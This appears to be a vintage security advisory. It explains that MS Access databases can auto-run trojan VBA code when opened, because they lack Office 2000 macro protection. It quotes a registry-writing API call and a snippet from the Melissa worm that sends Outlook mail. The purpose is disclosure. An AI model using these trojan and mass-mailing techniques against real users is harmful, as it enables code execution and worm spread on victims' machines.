COMMAND

    Access

SYSTEMS AFFECTED

    MS Access

PROBLEM

    'Johnny'  found  following.   Microsoft  Access  Databases are not
    afforded   "Macro   execution   protection"   in   the  manner  of
    Word/Excel/Powerpoint documents.  Attackers can insert trojan  VBA
    code into  MS Access  documents to  execute arbitrary  commands on
    the remote machine.

    There has been a  great deal of discussion  about MS Jet and  ODBC
    not affording  appropriate protection  to metacharacters,  and the
    subsequent  inbound  hooks  from  an  IIS server.  However, trojan
    applications have created a nasty  media stir in the recent  past.
    With Office 2000  protection from macros,  Access stands alone  as
    unprotected.  Hence this spin on the trojan VBA issue.

    There  has  been  (perhaps  too  much)  publicity  surrounding the
    trojan/virus capabilities of  Microsoft Office applications  which
    enable macro execution options.   The use of these trojans  should
    subside  now  that  Microsoft   has  implemented  more   stringent
    security options into the Office 2000 suite.  Specifically,  under
    Tools|Macro|Security  there  are  three  security  levels:   High,
    Medium and Low (not recommended).  The "High security" setting  is
    the default option for  Word, Excel, and Powerpoint.  This setting
    states  that  "Only  signed  macros  from  trusted sources will be
    allowed  to  run.   Unsigned  macros  are automatically disabled."
    Bye, bye Melissa.  Thanx, Microsoft.

    The Office 2000 suite uses Visual Basic for Applications (VBA)  as
    it's  application-portable  programming  language.   When  a  user
    records  a  macro  in   Word/Excel/Powerpoint,  the  actions   are
    translated into  VBA code.   The subsequent  VBA code  sequence is
    then termed a macro, and afforded the protections of the  security
    settings listed above.

    The Access application,  however uses VBA  as an integral  part of
    forms presentation  and processing  which is  in turn  an integral
    part of a stand-alone Access application. You turn off VBA, Access
    is neither shiny nor  happy.  An attacker  can craft an MS  Access
    database  with  a  single  form  which  auto-launches.   When  the
    database is opened, the  form is presented automagically.   Within
    the properties of  the form, the  "On Open" property  (default sub
    of Form_Open) can contain VBA code.  It happens like this:

        Double click Database (.mdb file)
                Open Database
                Show Form
                Execute VBA code

    The user simply opens the document, and the code is launched.

    Bad  VBA  code  has  been  talked  about  in several threads.  RFP
    mentions  the  VBA.Interaction.Shell  command  which  executes   a
    command on the local system.   This is a quick and dirty  payload,
    especially when coupled  to the "regedit  /s" command which  would
    allow an attacker to  create a .reg file,  and import it into  the
    registry.

    A cleaner  way becomes  available, which  is not  available to the
    ODBC method.  The  advapi32.dll API Reg*Ex allows  direct registry
    IO without taking the time to upload a .reg file.  These functions
    can simply be  defined along with  the hideous necesary  constants
    inside the VBA code.  In  addition, an attacker can follow in  the
    footsteps     of     Melissa     et     al     and     use     the
    VBA.Interaction.CreateObject call to create an MS Outlook instance
    which sends trojan email to every address in the addressbook.

    Examples?  Simply click the attached Access application to see the
    effect this  trojan can  have on  your system.   Seriously,  these
    examples require  quite a  few constant  definitions to  work.  If
    you're good enough  to get all  the constants figured  out, you're
    sharp enough to create these examples  on your own.  In short,  we
    didn't show you how to do it.

    Our REG*EX method simply relies  on a syntactically clean call  to
    RegCreteKeyEx to create a registry key:

        rc = RegCreateKeyEx(HKEY_CURRENT_USER, "johnny@ihackstuff.com", 0, "", _ REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, secattr, Result, Disposition)

    This  line  will  create  a  key  under  HKEY_CURRENT_USER  called
    "johnny@ihackstuff.com".   Groovy.   The  other  calls,  including
    RegSetValueEx and RegDeleteKey do  various groovy things too.   In
    honor  of  Kwyjibo,  we  can  use the VBA.Interaction.CreateObject
    method to spread like wildfire thanks to MS Outlook:

        ---Snip from Melissa---
            Set UngaDasOutlook = CreateObject("Outlook.Application")
            Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
        
          If UngaDasOutlook = "Outlook" Then
               DasMapiName.Logon "profile", "password"
        
           Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
               BreakUmOffASlice.Recipients.Add "johnny@ihackstuff.com"
               BreakUmOffASlice.Subject = "Important Message From " & Application.CurrentUser
               BreakUmOffASlice.Send
        
               DasMapiName.Logoff
        ---snip---

    Access doesn't  implement the  System library  like MS  Word does.
    Hence, the  System.[doregistrystuff] calls  won't work  here.  The
    system calls can be replaced with  just about any API you care  to
    'Define'  in  the  VBA  code.   Other  VBA  libraries  such as the
    Application   library   shown   above   may   prove   as  suitable
    replacements.

    There  is  an  example  .MDB  file  illustrating some of the above
    examples on following web site in security section.

        http://johnny.ihackstuff.com/

    Be warned that the .MDB file will create a top-level registry  key
    called "johnny@ihackstuff.com".

SOLUTION

    Microsoft  has   certainly  taken   strides  to   protect  against
    application trojans  within the  Office 2000  suite.   However, MS
    Access would  have to  be gutted  and fileted  in order  to follow
    the same  security measures.   In the  mean time,  be sure  not to
    trust every MS  Access database you  stumble across in  your inbox
    unless you're a pine user.